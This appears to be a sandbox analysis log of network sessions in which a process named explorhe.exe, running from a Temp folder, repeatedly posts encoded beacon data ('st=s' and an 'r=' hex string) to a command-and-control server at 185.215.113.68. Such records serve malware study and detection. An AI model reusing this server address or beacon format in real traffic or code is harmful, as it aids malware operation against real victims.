Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:36:07.530352116 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:36:07.764491081 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30
Jan 18, 2024 00:36:07.776837111 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:36:08.014065981 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.6	50318	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:36:08.386370897 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:36:08.624218941 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30
Jan 18, 2024 00:36:08.638853073 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:36:08.881800890 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.6	50319	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:36:09.241893053 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:36:09.481856108 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.6	50320	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:36:09.751827955 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:36:09.998086929 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.6	50321	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:36:10.359178066 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:36:10.592391014 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30
Jan 18, 2024 00:36:10.601515055 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:36:10.838733912 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.6	50323	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:36:11.216816902 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:36:11.450242996 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30
Jan 18, 2024 00:36:11.459067106 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:36:11.696728945 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.6	50324	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:36:12.051310062 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:36:12.289772034 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30
Jan 18, 2024 00:36:12.304533005 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:36:12.554682970 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.6	50325	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:36:13.006016970 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:36:13.248938084 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30
Jan 18, 2024 00:36:13.271779060 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:36:13.516079903 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.6	50327	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:36:14.946266890 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:36:15.184689045 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.6	50330	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:36:15.438889027 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:36:15.675355911 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.6	50333	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:36:16.030961990 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:36:16.262203932 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30
Jan 18, 2024 00:36:16.277324915 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:36:16.515985012 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.6	50336	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:36:16.892313004 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:36:17.129909992 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30
Jan 18, 2024 00:36:17.141908884 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:36:17.384192944 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.6	50337	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:36:17.755793095 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:36:17.994796038 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.6	50339	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:36:18.257544994 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:36:18.499484062 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.6	50341	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:36:18.907980919 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:36:19.139333010 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.6	50342	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:36:19.382545948 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:36:19.618844986 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.6	50343	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:36:20.029083014 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:36:20.269324064 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:36:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.6	50344	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
